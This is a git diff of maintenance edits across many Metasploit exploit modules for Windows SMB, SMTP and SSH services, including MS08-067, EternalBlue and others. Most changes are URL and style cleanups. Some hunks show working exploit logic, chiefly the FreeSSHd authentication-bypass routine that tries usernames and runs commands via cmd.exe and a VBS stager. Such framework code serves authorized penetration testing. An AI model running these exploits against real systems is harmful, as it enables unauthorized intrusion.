+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -454,5 +454,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb
index ca4968cf95..0f3a7ac4b8 100644
--- a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb
+++ b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -169,5 +169,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb
index 0906160b3e..f56752a5ef 100644
--- a/modules/exploits/windows/smb/ms06_025_rras.rb
+++ b/modules/exploits/windows/smb/ms06_025_rras.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -122,5 +122,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms06_040_netapi.rb b/modules/exploits/windows/smb/ms06_040_netapi.rb
index 997e6df4a3..8d2deaaef3 100644
--- a/modules/exploits/windows/smb/ms06_040_netapi.rb
+++ b/modules/exploits/windows/smb/ms06_040_netapi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -318,5 +318,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms06_066_nwapi.rb b/modules/exploits/windows/smb/ms06_066_nwapi.rb
index eb2d3e8567..c0b2da7a4e 100644
--- a/modules/exploits/windows/smb/ms06_066_nwapi.rb
+++ b/modules/exploits/windows/smb/ms06_066_nwapi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -130,5 +130,4 @@ class MetasploitModule < Msf::Exploit::Remote
       return false
     end
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms06_066_nwwks.rb b/modules/exploits/windows/smb/ms06_066_nwwks.rb
index 8eaa5669d8..7dd5563520 100644
--- a/modules/exploits/windows/smb/ms06_066_nwwks.rb
+++ b/modules/exploits/windows/smb/ms06_066_nwwks.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -116,5 +116,4 @@ class MetasploitModule < Msf::Exploit::Remote
       return false
     end
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms06_070_wkssvc.rb b/modules/exploits/windows/smb/ms06_070_wkssvc.rb
index 7416195266..229f3f6250 100644
--- a/modules/exploits/windows/smb/ms06_070_wkssvc.rb
+++ b/modules/exploits/windows/smb/ms06_070_wkssvc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,9 +17,9 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect
         function using the Workstation service in Windows 2000 SP4 and Windows XP SP2.
 
-        In order to exploit this vulnerability, you must specify a the name of a
+        In order to exploit this vulnerability, you must specify the name of a
         valid Windows DOMAIN. It may be possible to satisfy this condition by using
-        a custom dns and ldap setup, however that method is not covered here.
+        a custom DNS and LDAP setup, however that method is not covered here.
 
         Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator
         credentials are required to reach the vulnerable code. Windows XP SP1 only
@@ -152,7 +152,6 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
 
 
diff --git a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb
index 97808b5803..d016b36bfb 100644
--- a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb
+++ b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -262,5 +262,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb
index 359c6cf8ed..be76ae2584 100644
--- a/modules/exploits/windows/smb/ms08_067_netapi.rb
+++ b/modules/exploits/windows/smb/ms08_067_netapi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -889,7 +889,7 @@ class MetasploitModule < Msf::Exploit::Remote
       # Service Pack match must be exact
       if (not mytarget) and fprint['sp'].index('+')
         print_error('Could not determine the exact service pack')
-        print_status("Auto-targeting failed, use 'show targets' to manually select one")
+        print_error("Auto-targeting failed, use 'show targets' to manually select one")
         disconnect
         return
       end
diff --git a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb
index c8fe6bdc2e..82828aae84 100644
--- a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb
+++ b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -139,5 +139,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb
index 4cb1265eda..37dc9e2c9d 100644
--- a/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb
+++ b/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb
index c642b1f268..57244e86bd 100644
--- a/modules/exploits/windows/smb/ms10_061_spoolss.rb
+++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -433,5 +433,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def wfs_delay
     10
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb b/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb
index 1dc6309f4b..dce5820fcf 100644
--- a/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb
+++ b/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb
index 310e6de498..f5d6921f73 100644
--- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb
+++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,7 @@ require 'ruby_smb/smb1/packet'
 require 'windows_error'
 
 class MetasploitModule < Msf::Exploit::Remote
-  Rank = GoodRanking
+  Rank = AverageRanking
 
   include Msf::Exploit::Remote::Tcp
 
@@ -30,8 +30,11 @@ class MetasploitModule < Msf::Exploit::Remote
         and need a cool down period before the shells rain in again.
 
         The module will attempt to use Anonymous login, by default, to authenticate to perform the
-        exploit. If the user supplies credentials in the SMBUser,SMBPass, and SMBDomain options it will use
+        exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
         those instead.
+
+        On some systems, this module may cause system instability and crashes, such as a BSOD or
+        a reboot. This may be more likely with some payloads.
       },
 
       'Author'         => [
@@ -44,6 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'License'        => MSF_LICENSE,
       'References'     =>
         [
+          [ 'AKA', 'ETERNALBLUE' ],
           [ 'MSB', 'MS17-010' ],
           [ 'CVE', '2017-0143' ],
           [ 'CVE', '2017-0144' ],
@@ -134,17 +138,17 @@ class MetasploitModule < Msf::Exploit::Remote
       end
 
     rescue EternalBlueError => e
-      print_bad("#{e.message}")
+      print_error("#{e.message}")
     rescue  ::RubySMB::Error::UnexpectedStatusCode,
             ::Errno::ECONNRESET,
             ::Rex::HostUnreachable,
             ::Rex::ConnectionTimeout,
             ::Rex::ConnectionRefused  => e
-      print_bad("#{e.class}: #{e.message}")
+      print_error("#{e.class}: #{e.message}")
     rescue => error
-      print_bad(error.class.to_s)
-      print_bad(error.message)
-      print_bad(error.backtrace.join("\n"))
+      print_error(error.class.to_s)
+      print_error(error.message)
+      print_error(error.backtrace.join("\n"))
     ensure
       # pass
     end
@@ -160,6 +164,10 @@ class MetasploitModule < Msf::Exploit::Remote
       # Step 1: Connect to IPC$ share
       print_status("Connecting to target for exploitation.")
       client, tree, sock, os = smb1_anonymous_connect_ipc()
+    rescue RubySMB::Error::CommunicationError
+      # Error handler in case SMBv1 disabled on target
+      raise EternalBlueError, 'Could not make SMBv1 connection'
+    else
       print_good("Connection established for exploitation.")
 
       if verify_target(os)
@@ -722,5 +730,4 @@ class MetasploitModule < Msf::Exploit::Remote
       ''
     end
   end
-
 end
diff --git a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb
index dd3c9c26a3..8e5861074d 100644
--- a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb
+++ b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb
index 4dd261f0d4..a8c0e924fb 100644
--- a/modules/exploits/windows/smb/psexec.rb
+++ b/modules/exploits/windows/smb/psexec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,6 @@
 #     Network Access: Sharing and security model for local accounts
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ManualRanking
 
   include Msf::Exploit::Remote::SMB::Client::Psexec
@@ -51,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
           [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
           [ 'OSVDB', '3106'],
           [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ],
-          [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
+          [ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
           [ 'URL', 'http://sourceforge.net/projects/smbexec/' ]
         ],
       'Payload'        =>
@@ -327,5 +326,4 @@ class MetasploitModule < Msf::Exploit::Remote
     login_data.merge!(service_data)
     create_credential_login(login_data)
   end
-
 end
diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
index 6e8919c171..f2046b2d17 100644
--- a/modules/exploits/windows/smb/psexec_psh.rb
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -1,7 +1,7 @@
 # -*- coding: binary -*-
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'References'       => [
         [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
         [ 'OSVDB', '3106'],
-        [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
+        [ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
         [ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
         [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
       ]
@@ -96,6 +96,5 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
 
diff --git a/modules/exploits/windows/smb/smb_delivery.rb b/modules/exploits/windows/smb/smb_delivery.rb
index 2186399e34..a0ca2ff380 100644
--- a/modules/exploits/windows/smb/smb_delivery.rb
+++ b/modules/exploits/windows/smb/smb_delivery.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'msf/core/exploit/powershell'
 
 class MetasploitModule < Msf::Exploit::Remote
diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb
index 9a3e376796..cb9a5fda83 100644
--- a/modules/exploits/windows/smb/smb_relay.rb
+++ b/modules/exploits/windows/smb/smb_relay.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 =begin
 Windows XP systems that are not part of a domain default to treating all
 network logons as if they were Guest. This prevents SMB relay attacks from
@@ -754,5 +753,4 @@ class MetasploitModule < Msf::Exploit::Remote
       raise failure
     end
   end
-
 end
diff --git a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
index cdc42f3150..113c8785d6 100644
--- a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
+++ b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -148,5 +148,4 @@ class MetasploitModule < Msf::Exploit::Remote
     pipe.write(buf)
 
   end
-
 end
diff --git a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
index 33ac13abaa..046f18ba69 100644
--- a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
+++ b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -76,5 +75,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/smtp/mercury_cram_md5.rb b/modules/exploits/windows/smtp/mercury_cram_md5.rb
index 67a8024daf..325fd35fc7 100644
--- a/modules/exploits/windows/smtp/mercury_cram_md5.rb
+++ b/modules/exploits/windows/smtp/mercury_cram_md5.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -70,5 +70,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb
index f154c14c29..1ab28acb44 100644
--- a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb
+++ b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/smtp/njstar_smtp_bof.rb b/modules/exploits/windows/smtp/njstar_smtp_bof.rb
index 9836207d1f..1623db92cc 100644
--- a/modules/exploits/windows/smtp/njstar_smtp_bof.rb
+++ b/modules/exploits/windows/smtp/njstar_smtp_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/smtp/sysgauge_client_bof.rb b/modules/exploits/windows/smtp/sysgauge_client_bof.rb
index b72b2832cf..ef9f2f70af 100644
--- a/modules/exploits/windows/smtp/sysgauge_client_bof.rb
+++ b/modules/exploits/windows/smtp/sysgauge_client_bof.rb
@@ -1,7 +1,7 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
-#
+##
 
 class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::TcpServer
@@ -76,5 +76,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     c.put(sploit)
   end
-
 end
diff --git a/modules/exploits/windows/smtp/wmailserver.rb b/modules/exploits/windows/smtp/wmailserver.rb
index 225e784d94..4fe2b5ac30 100644
--- a/modules/exploits/windows/smtp/wmailserver.rb
+++ b/modules/exploits/windows/smtp/wmailserver.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,5 +59,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/smtp/ypops_overflow1.rb b/modules/exploits/windows/smtp/ypops_overflow1.rb
index ef908d3143..9c52616c29 100644
--- a/modules/exploits/windows/smtp/ypops_overflow1.rb
+++ b/modules/exploits/windows/smtp/ypops_overflow1.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb
index 7d3169b319..c507564016 100644
--- a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb
+++ b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb
index e18d316150..6076934d11 100644
--- a/modules/exploits/windows/ssh/freesshd_authbypass.rb
+++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,38 +9,41 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::Tcp
   include Msf::Exploit::CmdStager
 
-  def initialize(info={})
-    super(update_info(info,
-      'Name'           => "Freesshd Authentication Bypass",
-      'Description'    => %q{
-          This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass
-        authentication. You just need the username (which defaults to root). The exploit
-        has been tested with both password and public key authentication.
-      },
-      'License'        => MSF_LICENSE,
-      'Author'         =>
-        [
-          'Aris', # Vulnerability discovery and Exploit
-          'kcope', # 2012 Exploit
-          'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module
-        ],
-      'References'     =>
-        [
-          [ 'CVE', '2012-6066' ],
-          [ 'OSVDB', '88006' ],
-          [ 'BID', '56785' ],
-          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html' ],
-          [ 'URL', 'http://seclists.org/fulldisclosure/2010/Aug/132' ]
-        ],
-      'Platform'       => 'win',
-      'Privileged'     => true,
-      'DisclosureDate' => "Aug 11 2010",
-      'Targets' =>
-        [
-          [ 'Freesshd <= 1.2.6 / Windows (Universal)', {} ]
-        ],
-      'DefaultTarget' => 0
-    ))
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'           => "Freesshd Authentication Bypass",
+        'Description'    => %q{
+            This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass
+          authentication. You just need the username (which defaults to root). The exploit
+          has been tested with both password and public key authentication.
+        },
+        'License'        => MSF_LICENSE,
+        'Author'         =>
+          [
+            'Aris', # Vulnerability discovery and Exploit
+            'kcope', # 2012 Exploit
+            'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module
+          ],
+        'References'     =>
+          [
+            [ 'CVE', '2012-6066' ],
+            [ 'OSVDB', '88006' ],
+            [ 'BID', '56785' ],
+            [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html' ],
+            [ 'URL', 'http://seclists.org/fulldisclosure/2010/Aug/132' ]
+          ],
+        'Platform'       => 'win',
+        'Privileged'     => true,
+        'DisclosureDate' => "Aug 11 2010",
+        'Targets' =>
+          [
+            [ 'Freesshd <= 1.2.6 / Windows (Universal)', {} ]
+          ],
+        'DefaultTarget' => 0
+      )
+    )
 
     register_options(
       [
@@ -48,56 +51,47 @@ class MetasploitModule < Msf::Exploit::Remote
         OptString.new('USERNAME', [false, 'A specific username to try']),
         OptPath.new(
           'USER_FILE',
-          [ true, "File containing usernames, one per line",
-          # Defaults to unix_users.txt, because this is the closest one we can try
-          File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt") ]
+          [
+            true,
+            "File containing usernames, one per line",
+            # Defaults to unix_users.txt, because this is the closest one we can try
+            File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt")
+          ]
         )
-      ])
-
-  end
-
-  def load_netssh
-    begin
-      require 'net/ssh'
-      return true
-    rescue LoadError
-      return false
-    end
+      ]
+    )
   end
 
   def check
     connect
     banner = sock.recv(30)
     disconnect
-    if banner =~ /SSH\-2\.0\-WeOnlyDo/
-      version=banner.split(" ")[1]
-      return Exploit::CheckCode::Appears if version =~ /(2\.1\.3|2\.0\.6)/
+    if banner.match?(/SSH\-2\.0\-WeOnlyDo/)
+      version = banner.split(" ")[1]
+      return Exploit::CheckCode::Appears if version.match?(/(2\.1\.3|2\.0\.6)/)
       return Exploit::CheckCode::Detected
     end
-    return Exploit::CheckCode::Safe
+    Exploit::CheckCode::Safe
   end
 
-
-  def execute_command(cmd, opts = {})
-    @connection.exec!("cmd.exe /c "+cmd)
+  def execute_command(cmd, _opts = {})
+    @connection.exec!("cmd.exe /c " + cmd)
   end
 
   def setup_ssh_options
-    pass=rand_text_alpha(8)
-    options={
-      :password => pass,
-      :port     => datastore['RPORT'],
-      :timeout  => 1,
-      :proxies  => datastore['Proxies'],
-      :key_data => OpenSSL::PKey::RSA.new(2048).to_pem,
-      :auth_methods => ['publickey']
+    {
+      password: rand_text_alpha(8),
+      port: datastore['RPORT'],
+      timeout: 1,
+      proxies: datastore['Proxies'],
+      key_data: OpenSSL::PKey::RSA.new(2048).to_pem,
+      auth_methods: ['publickey']
     }
-    return options
   end
 
-  def do_login(username,options)
+  def do_login(username, options)
     print_status("Trying username '#{username}'")
-    options[:username]=username
+    options[:username] = username
 
     transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options)
     auth = Net::SSH::Authentication::Session.new(transport, options)
@@ -107,22 +101,22 @@ class MetasploitModule < Msf::Exploit::Remote
       Timeout.timeout(10) do
         connection.exec!('cmd.exe /c echo')
       end
-    rescue RuntimeError
-      return nil
     rescue Timeout::Error
       print_status("Timeout")
       return nil
+    rescue RuntimeError
+      return nil
     end
-    return connection
+    connection
   end
 
   #
   # Cannot use the auth_brute mixin, because if we do, a payload handler won't start.
   # So we have to write our own each_user here.
   #
-  def each_user(&block)
+  def each_user
     user_list = []
-    if datastore['USERNAME'] and !datastore['USERNAME'].empty?
+    if datastore['USERNAME'] && !datastore['USERNAME'].empty?
       user_list << datastore['USERNAME']
     else
       f = File.open(datastore['USER_FILE'], 'rb')
@@ -133,27 +127,18 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     user_list.each do |user|
-      block.call(user)
+      yield user
     end
   end
 
   def exploit
-    #
-    # Load net/ssh so we can talk the SSH protocol
-    #
-    has_netssh = load_netssh
-    if not has_netssh
-      print_error("You don't have net/ssh installed.  Please run gem install net-ssh")
-      return
-    end
-
     options = setup_ssh_options
 
     @connection = nil
 
     each_user do |username|
       next if username.empty?
-      @connection=do_login(username,options)
+      @connection = do_login(username, options)
       break if @connection
     end
 
@@ -162,6 +147,4 @@ class MetasploitModule < Msf::Exploit::Remote
       execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700)
     end
   end
-
 end
-
diff --git a/modules/exploits/windows/ssh/freesshd_key_exchange.rb b/modules/exploits/windows/ssh/freesshd_key_exchange.rb
index 3bec715c5a..feedcda7c1 100644
--- a/modules/exploits/windows/ssh/freesshd_key_exchange.rb
+++ b/modules/exploits/windows/ssh/freesshd_key_exchange.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ssh/putty_msg_debug.rb b/modules/exploits/windows/ssh/putty_msg_debug.rb
index 62ffa4a9b4..cecff5d9a6 100644
--- a/modules/exploits/windows/ssh/putty_msg_debug.rb
+++ b/modules/exploits/windows/ssh/putty_msg_debug.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/ssh/securecrt_ssh1.rb b/modules/exploits/windows/ssh/securecrt_ssh1.rb
index 777ac63d22..236d61b67e 100644
--- a/modules/exploits/windows/ssh/securecrt_ssh1.rb
+++ b/modules/exploits/windows/ssh/securecrt_ssh1.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/ssh/sysax_ssh_username.rb b/modules/exploits/windows/ssh/sysax_ssh_username.rb
index 965d9ee65c..5b4b248e20 100644
--- a/modules/exploits/windows/ssh/sysax_ssh_username.rb
+++ b/modules/exploits/windows/ssh/sysax_ssh_username.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,104 +9,98 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::Tcp
   include Msf::Exploit::Remote::SSH
 
-  def initialize(info={})
-    super(update_info(info,
-      'Name'           => "Sysax 5.53 SSH Username Buffer Overflow",
-      'Description'    => %q{
-          This module exploits a vulnerability found in Sysax's SSH service.  By
-        supplying a long username, the SSH server will copy that data on the stack
-        without proper bounds checking, therefore allowing remote code execution
-        under the context of the user.  Please note that previous versions
-        (before 5.53) are also affected by this bug.
-      },
-      'License'        => MSF_LICENSE,
-      'Author'         =>
-        [
-          'Craig Freyman',  #Initial discovery, PoC
-          'sinn3r'          #Metasploit
-        ],
-      'References'     =>
-        [
-          ['OSVDB', '79689'],
-          ['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
-          ['EDB', '18535']
-        ],
-      'Payload'        =>
-        {
-          'Space'           => 1024,
-          'BadChars'        => "\x00\x3a",
-          'StackAdjustment' => -3500
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'           => "Sysax 5.53 SSH Username Buffer Overflow",
+        'Description'    => %q{
